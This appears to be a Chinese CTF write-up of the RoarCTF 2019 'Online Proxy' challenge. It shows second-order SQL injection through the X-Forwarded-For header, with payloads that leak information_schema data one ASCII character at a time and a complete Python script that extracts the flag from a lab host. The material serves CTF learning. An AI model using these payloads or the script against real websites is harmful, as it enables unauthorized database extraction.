[RoarCTF 2019]Online Proxy --不会编程的崽

这几天也是ctf做得有点头疼了。好些序列化的题没碰,一直做些sql注入类的题目。闲来无事,在更一次sql注入吧。

整个页面就这点信息。首先想想为什么他能获取你的ip。猜测是数据包X-Forwarded-For。 

 

它还输出上次访问页面客户端的ip。很明显了,多半是二次注入

X-Forwarded-For:0'or 1 or'0

当构造这样的payload的时候。

1.先构造payload,点击发送

2.在换一个随便的ip,点击发送 

3.在次点击发送

last ip就变成1了。说明的确是sql二次注入 

这个原理就和上次网鼎杯那个sql注入一样。要是使用传统的注入就太慢了。因此我们构造这样的payload

0'+ (ASCII(SUBSTR((select group_concat(schema_name) from information_schema.schemata),1,1))) +'0

sql语句的含义是将数据库的第一个字母的ascii码于0相加。(mysql数据库+是运算符)

 这个last ip就等于105了。这关也没过滤啥。通过这个方法,就可以构造脚本了。

import requests
flag=''
url='http://node5.buuoj.cn:25578/'
for i in range(1,500):
    s=requests.session()
    # (ASCII(SUBSTR((select group_concat(schema_name) from information_schema.schemata),{},1)))
    # (ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)='F4l9_D4t4B45e'),{},1)))
    # F4l9_t4b1e
    # (ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name="F4l9_t4b1e")),{},1)))
    # F4l9_C01uMn
    # (ASCII(SUBSTR((select(group_concat(F4l9_C01uMn))from(F4l9_t4b1e)),1,1)))
    headers={
        "X-Forwarded-For":"0'+(ASCII(SUBSTR((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1)))+'0".format(i),
        'Cookie':'_ga=GA1.1.1748561756.1709982957; _ga_0WLTHS96P4=GS1.1.1709982957.1.1.1709982979.0.0.0; track_uuid=87ee5b24-ee01-43dc-ee18-fca0644f3e53'
    }
    headers1={
        "X-Forwarded-For":"1",
        'Cookie':'_ga=GA1.1.1748561756.1709982957; _ga_0WLTHS96P4=GS1.1.1709982957.1.1.1709982979.0.0.0; track_uuid=87ee5b24-ee01-43dc-ee18-fca0644f3e53'
    }
    data=s.get(url,headers=headers)
    data1=s.get(url,headers=headers1)
    data2=s.get(url,headers=headers1)
    y=data2.text
    x=y.split('\n')[-1]
    z=x[9:]
    flag=flag+chr(int(z.split(' ')[0]))
    print(flag)

最后还要注意的一点就是,这里是跨库查询。flag不在当前数据库。我们第一步必须要先爆库名。 

最后一步获取数据是也别忘记"F4l9_D4t4B45e.F4l9_t4b1e",代表F4l9_D4t4B45e数据库下的F4l9_t4b1e表。

这就是最后跑出来的结果了 

  • 28
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值